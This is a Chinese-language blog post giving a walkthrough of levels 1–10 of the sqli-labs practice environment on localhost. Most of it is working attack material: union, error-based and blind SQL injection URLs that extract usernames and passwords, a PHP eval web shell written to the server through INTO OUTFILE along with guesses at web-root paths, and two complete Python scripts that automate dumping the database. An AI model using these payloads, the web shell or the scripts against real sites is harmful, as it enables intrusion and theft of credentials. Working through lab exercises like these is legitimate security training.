V0W's Blog

sqli-lab通关笔记Less1-10

字数统计: 3,882阅读时长: 19 min
2018/08/05 Share

为方便学习和理解,可以在源码中的$sql下面添加语句:

1
echo "你的 sql 语句是:".$sql."<br>";

Less-1 Error Based- String(报错注入-字符型)

1
2
http://localhost/sqli-labs/Less-1/?id=0' and union select 1,2,3 #   正常   
http://localhost/sqli-labs/Less-1/?id=1' order by 4 报错

说明表有3列,下一步:union select

1
http://localhost/sqli-labs/Less-1/?id=1%27%20union%20select%201,2,3--+

结果还是这样,不对啊:
mark

原因

$row = mysql_fetch_array($result);
从结果集中取出一行!!
那么我们将前面的查询条件改变,使之查不到,就可以显示union select 后面的了。比如将id=0或者id=-1

mark

可以利用concat和concat_ws进行但行输出多个行数据:

1
http://localhost/sqli-labs/Less-1/?id=0%27%20union%20select%201,2,concat_ws(char(32,58,32),user(),database(),version())--+

mark

这样就查出了当前用的库。

查表:

1
http://localhost/sqli-labs/Less-1/?id=0%27%20union%20select%201,2,table_name%20from%20information_schema.tables%20where%20table_schema=%27security%27%20--+

mark

1
http://localhost/sqli-labs/Less-1/?id=0%27%20union%20SELECT%20*%20FROM%20users%20WHERE%20id=%270%27%20union%20select%201,2,table_name%20from%20information_schema.tables%20where%20table_schema=%27security%27%20LIMIT%203,1--%20%27

mark

不加limit 会只查询出第一行,也就是只查出一个表。

查字段:

1
http://localhost/sqli-labs/Less-1/?id=0%27%20union%20select%201,2,column_name%20from%20information_schema.columns%20where%20table_schema=%27security%27%20and%20table_name=%27users%27%20LIMIT%200,1--%20%27

逐个改变limit x,1 查出字段
mark
查出字段值:
id,usename, password

查数据(随意查):

1
http://localhost/sqli-labs/Less-1/?id=-1' union select 1,2,concat_ws(char(32,58,32),id,username,password) from  users limit 1,1 --+

mark

附上本菜鸡的脚本,可以读出数据库所有内容:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import requests 
import re

def GetHtmlText(url):
try:
r = requests.get(url, timeout=30)
r.raise_for_status()
r.encoding = r.apparent_encoding
return r.text
except:
return ''

def main():
url0 = "http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,2,concat_ws(char(32,124,32),id,username,password) from users limit "
url2 = ",1 --+"
for id in range(20):
#print(id)
try:
payload = url0 + str(id) + url2
#print(payload)
html = GetHtmlText(payload)
#print(html)
res = re.findall(r'(?<=Password:).*(?=</font></font>)',html)
for i in res:
print(res)
except:
continue
print('done')

main()

mark

Less-2 Error-Based-intiger (报错注入-整型)

可以看一下源码:

1
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";

与字符型相比,只是$id变量当做整型,而不是’$id’(字符型),这也就导致了,我们不需要去闭合 ‘ ,其他的部分基本和字符型一致,不再赘述。

mark

Less-3 Error Based- String (with Twist) (字符型变形)

与Less1 类似,just turn

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

to

$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";   

注意闭合即可。
不再赘述。
payload:

http://localhost/sqli-labs/Less-3/?id=-1') union select 1,2,concat_ws(char(32,124,32),id,username,password) from users limit 2,1 --+

mark

Less-4 Error Based- DoubleQuotes String 字符型-双引号

源码:

$id = '"' . $id . '"';
$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";

和Less1类似,’$id’ —> (“$id”)
注意闭合即可,不再赘述。
payload:

http://localhost/sqli-labs/Less-4/?id=-1") union select 1,2,concat_ws(char(32,124,32),id,username,password) from  users limit 2,1--+

mark

Less-5 Double Query- Single Quotes- String 双注入查询

这道题其实是在说双注入,所以脱开这题,我了解了一下双注入查询:
https://www.2cto.com/article/201303/192718.html

1
2
3
4
5
6
7
8
9
mysql> use security
Database changed
mysql> select concat((select database()));
+-----------------------------+
| concat((select database())) |
+-----------------------------+
| security |
+-----------------------------+
1 row in set (0.00 sec)

用concat链接后面的语句,这样((select database()))作为结果交给前面的select;

1
2
3
4
5
6
7
mysql> select concat((select database()),'0');
+---------------------------------+
| concat((select database()),'0') |
+---------------------------------+
| security0 |
+---------------------------------+
1 row in set (0.00 sec)

这个命令看的更清楚了,将(select database())的结果与‘0’连接。

另外:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
mysql> select floor(rand()*2) from users
-> ;
+-----------------+
| floor(rand()*2) |
+-----------------+
| 1 |
| 0 |
| 1 |
| 1 |
| 0 |
| 0 |
| 1 |
| 0 |
| 1 |
| 1 |
| 1 |
| 1 |
| 1 |
+-----------------+
13 rows in set (0.00 sec)
#返回一个行数与users表行数一样的表,但是每行都是1
#增加临时列,每行的列值是写在select后的数

1
2
3
4
5
6
7
8
mysql> select count(*) from users;
+----------+
| count(*) |
+----------+
| 13 |
+----------+
1 row in set (0.00 sec)
# 返回users表的列数。
1
2
3
4
5
6
7
8
mysql> select sum(10) from users;
+---------+
| sum(10) |
+---------+
| 130 |
+---------+
1 row in set (0.00 sec)
#计算临时列的行数乘以临时列的值(10)的结果。

如果用聚合函数如count(*),后面如果使用分组语句就会把查询的一部分以错误的形式显示出来。

1
2
mysql> select count(*),concat((select version()),'|',floor(rand()*2)) as a from information_schema.tables group by a;
ERROR 1062 (23000): Duplicate entry '5.5.53|1' for key 'group_key'

可以发现版本以报错形式回显了。5.5.53

下面爆出了库名:

1
2
3
mysql> select count(*),1,concat((select database()),'|',floor(rand()*2)) as a from information_schema.tables group by a;
ERROR 1062 (23000): Duplicate entry 'security|0' for key 'group_key'
mysql>

对于没有报错回显的sql注入,双注入可以将一些信息已报错形式返回给用户。
这种方式有随机性。有时需要多刷新几次。

回到Less5:
直接注入查询表啊什么的,是没有回显的。
mark
但是我们可以利用刚刚说的双注入,发现库名以报错形式回显!!
mark

下面就是非常好(dan)玩(teng)的手工注入过程了:
查user

http://localhost/sqli-labs/Less-5/?id=1' union select count(*),1, concat('|',(select user()),'|', floor(rand()*2)) as a from information_schema.tables group by a --+

查database

http://localhost/sqli-labs/Less-5/?id=1' union select count(*),1, concat('|',(select database()), '|',floor(rand()*2)) as a from information_schema.tables group by a --+ 

查table(改变limit后面的值来查看多个表)

http://localhost/sqli-labs/Less-5/?id=1' union select count(*),1, concat('|',(select table_name from information_schema.tables where table_schema='security' limit 0,1),'|', floor(rand()*2)) as a from information_schema.tables group by a --+

mark
查column(改limit x,1)

http://localhost/sqli-labs/Less-5/?id=1' union select count(*),1, concat('|',(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),'|', floor(rand()*2)) as a from information_schema.tables group by a--+ 

mark

查数据

http://localhost/sqli-labs/Less-5/?id=1' union select count(*),1, concat('|',(select concat_ws(':',id,username,password) from users limit 2,1),'|', floor(rand()*2)) as a from information_schema.tables group by a--+  

mark

以上由于使用的是随机数,可能出现正确结果而不报错,这种情况下,多刷新几次即可。

Less-6 Double Query- Double Quotes- String(双注入-双引号)

与Less-5其实一样。

#Less5
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
#Less-6
$id = '"'.$id.'"';
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";

只是闭合方式不同,不再赘述。

less-7 GET - Dump into outfile - String (导出文件GET字符型注入)

导出到文件就是可以将查询结果导出到一个文件中,如常见的将一句话木马导出到一个php文件中。

常用的语句是:

1
select "<?php @eval($_POST['x']);?>" into outfile "XXX\test.php" ,

当这里要获取到网站的在系统中的具体路径(绝对路径)
这个要怎么获取呢,根据系统和数据库猜测,如winserver的iis默认路径是c:/inetpub/wwwroot/,这好像说偏了,这是asp的,但知道也好

linux的nginx一般是/usr/local/nginx/html/home/wwwroot/default/usr/share/nginx/var/www/htm
apache 就/var/www/htm/var/www/html/htdocs

另外,还有读取数据库路径的方法: 利用两个变量
@@datadir 读取数据库路径
@@basedir MYSQL 获取安装路径
mark

虽然报错,但是语句执行了。注意路径需要转义,否则报错且无法执行。
mark

发现文件已经写到目录下了。
mark

可以执行命令了。也可以菜刀连。
mark

Less-8 Blind- Boolian- Single Quotes- String(单引号-布尔盲注)

盲注需要掌握一些MySQL的相关函数:

length(str):
返回str字符串的长度。

substr(str, pos, len):
将str从pos位置开始截取len长度的字符进行返回。注意这里的pos位置是从1开始的,不是数组的0开始

mid(str,pos,len):跟上面的一样,截取字符串

ascii(str):返回字符串str的最左面字符的ASCII代码值。

ord(str):同上,返回ascii码

if(a,b,c) :
a为条件,a为true,返回b,否则返回c,如if(1>2,1,0),返回0

首先要记得常见的ASCII,A:65,Z:90 a:97,z:122, 0:48, 9:57

发现加个单引号跟没加显示不一样,
加了单引号连you are in都不显示了,没有报错,所以只能用盲注判断了

查询数据库

select database()
ascii(substr((select database()),1,1))   # 返回数据库名称的第一个字母,转化为ascii码的值
ascii(substr((select database()),1,1))>64   # ascii大于64就返回true,if就返回1,否则返回0

于是payload:

1
2
3
http://localhost/sqli-labs/Less-8/?id=1' and if(ascii(substr((select database()),1,1))>64, 1, 0) %23

http://localhost/sqli-labs/Less-8/?id=1' and ascii(substr((select database()),1,1))>64 %23

猜数据库名第一个字母具体过程,使用二分法

1
2
3
4
5
6
7
8
http://localhost/sqli-labs/Less-8/?id=1' and ascii(substr((select database()),1,1)>64 %23 返回正确,大于64
http://localhost/sqli-labs/Less-8/?id=1' and ascii(substr((select database()),1,1))>96 %23 返回正确,大于96
http://localhost/sqli-labs/Less-8/?id=1' and ascii(substr((select database()),1,1))<123 %23 返回正确,小于123 ,区间在97-122
http://localhost/sqli-labs/Less-8/?id=1' and ascii(substr((select database()),1,1))>109 %23 返回正确,大于109,区间在110-122
http://localhost/sqli-labs/Less-8/?id=1' and ascii(substr((select database()),1,1))>116 %23 返回错误,所以在110-116之间
http://localhost/sqli-labs/Less-8/?id=1' and ascii(substr((select database()),1,1))>112 %23 返回正确,大于112,区间在113-116之间
http://localhost/sqli-labs/Less-8/?id=1' and ascii(substr((select database()),1,1))>114 %23 返回正确,大于114,间在115-116之间
http://localhost/sqli-labs/Less-8/?id=1' and ascii(substr((select database()),1,1))>115 %23 返回错误,不大于115,即第一个字母的ascii为115,即字母s

师傅的脚本(一比,我的简直太垃圾了):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
# -*-coding:utf-8-*-

"""
@version:
@author: giantbranch
@file: blindsqlinjection.py
@time: 2016/5/1
"""

import urllib2
import urllib


success_str = "You are in"
getTable = "users"

index = "0"
url = "http://localhost/sqli-labs/Less-8/?id=1"
database = "database()"
selectDB = "select database()"
selectTable = "select table_name from information_schema.tables where table_schema='%s' limit %d,1"


asciiPayload = "' and ascii(substr((%s),%d,1))>=%d #"
lengthPayload = "' and length(%s)>=%d #"
selectTableCountPayload = "'and (select count(table_name) from information_schema.tables where table_schema='%s')>=%d #"

selectTableNameLengthPayloadfront = "'and (select length(table_name) from information_schema.tables where table_schema='%s' limit "
selectTableNameLengthPayloadbehind = ",1)>=%d #"


# 发送请求,根据页面的返回的判断长度的猜测结果
# string:猜测的字符串 payload:使用的payload length:猜测的长度
def getLengthResult(payload, string, length):
finalUrl = url + urllib.quote(payload % (string, length))
res = urllib2.urlopen(finalUrl)
if success_str in res.read():
return True
else:
return False

# 发送请求,根据页面的返回的判断猜测的字符是否正确
# payload:使用的payload string:猜测的字符串 pos:猜测字符串的位置 ascii:猜测的ascii
def getResult(payload, string, pos, ascii):
finalUrl = url + urllib.quote(payload % (string, pos, ascii))
res = urllib2.urlopen(finalUrl)
if success_str in res.read():
return True
else:
return False

# 注入
def inject():
# 猜数据库长度
lengthOfDBName = getLengthOfString(lengthPayload, database)
print "length of DBname: " + str(lengthOfDBName)
# 获取数据库名称
DBname = getName(asciiPayload, selectDB, lengthOfDBName)

print "current database:" + DBname

# 获取数据库中的表的个数
# print selectTableCountPayload
tableCount = getLengthOfString(selectTableCountPayload, DBname)
print "count of talbe:" + str(tableCount)

# 获取数据库中的表
for i in xrange(0,tableCount):
# 第几个表
num = str(i)
# 获取当前这个表的长度
selectTableNameLengthPayload = selectTableNameLengthPayloadfront + num + selectTableNameLengthPayloadbehind
tableNameLength = getLengthOfString(selectTableNameLengthPayload, DBname)
print "current table length:" + str(tableNameLength)
# 获取当前这个表的名字
selectTableName = selectTable%(DBname, i)
tableName = getName(asciiPayload, selectTableName ,tableNameLength)
print tableName


selectColumnCountPayload = "'and (select count(column_name) from information_schema.columns where table_schema='"+ DBname +"' and table_name='%s')>=%d #"
# print selectColumnCountPayload
# 获取指定表的列的数量
columnCount = getLengthOfString(selectColumnCountPayload, getTable)
print "table:" + getTable + " --count of column:" + str(columnCount)

# 获取该表有多少行数据
dataCountPayload = "'and (select count(*) from %s)>=%d #"
dataCount = getLengthOfString(dataCountPayload, getTable)
print "table:" + getTable + " --count of data: " + str(dataCount)

data = []
# 获取指定表中的列
for i in xrange(0,columnCount):
# 获取该列名字长度
selectColumnNameLengthPayload = "'and (select length(column_name) from information_schema.columns where table_schema='"+ DBname +"' and table_name='%s' limit "+ str(i) +",1)>=%d #"
# print selectColumnNameLengthPayload
columnNameLength = getLengthOfString(selectColumnNameLengthPayload, getTable)
print "current column length:" + str(columnNameLength)
# 获取该列的名字
selectColumn = "select column_name from information_schema.columns where table_schema='"+ DBname +"' and table_name='%s' limit %d,1"
selectColumnName = selectColumn%(getTable, i)
# print selectColumnName
columnName = getName(asciiPayload, selectColumnName ,columnNameLength)
print columnName

tmpData = []
tmpData.append(columnName)
# 获取该表的数据
for j in xrange(0,dataCount):
columnDataLengthPayload = "'and (select length("+ columnName +") from %s limit " + str(j) + ",1)>=%d #"
# print columnDataLengthPayload
columnDataLength = getLengthOfString(columnDataLengthPayload, getTable)
# print columnDataLength
selectData = "select " + columnName + " from users limit " + str(j) + ",1"
columnData = getName(asciiPayload, selectData, columnDataLength)
# print columnData
tmpData.append(columnData)

data.append(tmpData)

# print data
# 格式化输出数据
# 输出列名
tmp = ""
for i in xrange(0,len(data)):
tmp += data[i][0] + " "
print tmp
# 输出具体数据
for j in xrange(1,dataCount+1):
tmp = ""
for i in xrange(0,len(data)):
tmp += data[i][j] + " "
print tmp

# 获取字符串的长度
def getLengthOfString(payload, string):
# 猜长度
lengthLeft = 0
lengthRigth = 0
guess = 10
# 确定长度上限,每次增加5
while 1:
# 如果长度大于guess
if getLengthResult(payload, string, guess) == True:
# 猜测值增加5
guess = guess + 5
else:
lengthRigth = guess
break
# print "lengthRigth: " + str(lengthRigth)
# 二分法查长度
mid = (lengthLeft + lengthRigth) / 2
while lengthLeft < lengthRigth - 1:
# 如果长度大于等于mid
if getLengthResult(payload, string, mid) == True:
# 更新长度的左边界为mid
lengthLeft = mid
else:
# 否则就是长度小于mid
# 更新长度的右边界为mid
lengthRigth = mid
# 更新中值
mid = (lengthLeft + lengthRigth) / 2
# print lengthLeft, lengthRigth
# 因为lengthLeft当长度大于等于mid时更新为mid,而lengthRigth是当长度小于mid时更新为mid
# 所以长度区间:大于等于 lengthLeft,小于lengthRigth
# 而循环条件是 lengthLeft < lengthRigth - 1,退出循环,lengthLeft就是所求长度
# 如循环到最后一步 lengthLeft = 8, lengthRigth = 9时,循环退出,区间为8<=length<9,length就肯定等于8
return lengthLeft

# 获取名称
def getName(payload, string, lengthOfString):
# 32是空格,是第一个可显示的字符,127是delete,最后一个字符
tmp = ''
for i in xrange(1,lengthOfString+1):
left = 32
right = 127
mid = (left + right) / 2
while left < right - 1:
# 如果该字符串的第i个字符的ascii码大于等于mid
if getResult(payload, string, i, mid) == True:
# 则更新左边界
left = mid
mid = (left + right) / 2
else:
# 否则该字符串的第i个字符的ascii码小于mid
# 则更新右边界
right = mid
# 更新中值
mid = (left + right) / 2
tmp += chr(left)
# print tmp
return tmp


def main():
inject()
main()

运行结果:
mark

less-9 GET Blind Time based Single Quotes (基于时间的GET单引号盲注)

发现无论是id=1还是id=1',页面结果没有什么变化,这种情况下,一般就是时间盲注了,只能通过演示函数,通过网页是否延时输出,判断sql注入是否成功。

http://localhost/sqli-labs/Less-9/?id=1' and sleep(5) # 

延时成功,表示发生了错误,说明存在sql注入点。

payload:

1
2
http://localhost/sqli-labs/Less-9/?id=1' and if(ascii(substr(database(),1,1))>115, 0, sleep(5)) %23
http://localhost/sqli-labs/Less-9/?id=1' and if(ascii(substr(database(),1,1))>114, 0, sleep(5)) %23

判断数据库名的第一个字母为s(ascii为115),判断错误的话是暂停5秒

less-10 GET Blind Time based double quotes (基于时间的双引号盲注)

闭合条件变为双引号,注意闭合即可,
把上面的改成双引号就行

判断为基于时间的双引号注入

http://localhost/sqli-labs/Less-10/?id=1" and sleep(5) #

不再赘述。

参考链接

https://blog.csdn.net/u012763794/article/details/51207833
https://www.jianshu.com/p/65f05e7cc957

CATALOG
  1. 1. Less-1 Error Based- String(报错注入-字符型)
  2. 2. Less-2 Error-Based-intiger (报错注入-整型)
  3. 3. Less-3 Error Based- String (with Twist) (字符型变形)
  4. 4. Less-4 Error Based- DoubleQuotes String 字符型-双引号
  5. 5. Less-5 Double Query- Single Quotes- String 双注入查询
  6. 6. Less-6 Double Query- Double Quotes- String(双注入-双引号)
  7. 7. less-7 GET - Dump into outfile - String (导出文件GET字符型注入)
  8. 8. Less-8 Blind- Boolian- Single Quotes- String(单引号-布尔盲注)
  9. 9. less-9 GET Blind Time based Single Quotes (基于时间的GET单引号盲注)
  10. 10. less-10 GET Blind Time based double quotes (基于时间的双引号盲注)
  11. 11. 参考链接